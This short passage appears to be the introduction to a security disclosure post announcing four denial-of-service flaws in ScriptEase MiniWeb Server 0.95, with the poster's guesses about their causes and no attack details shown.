The following are four more Server Denial of Service Attacks against ScriptEase MiniWeb Server 0.95. These attacks do not make the server point to an invalid memory address like the previous post. I believe the first two attacks I describe are internal server problems due to either coding errors or incomplete coding. The second two may just be configuration problems on my part, as this assessment was done fairly quickly. After we receieve "Press a key..." on the server side, the server stops and needs to be manually restarted. Thanks to Tamer Sahin for his earlier post.
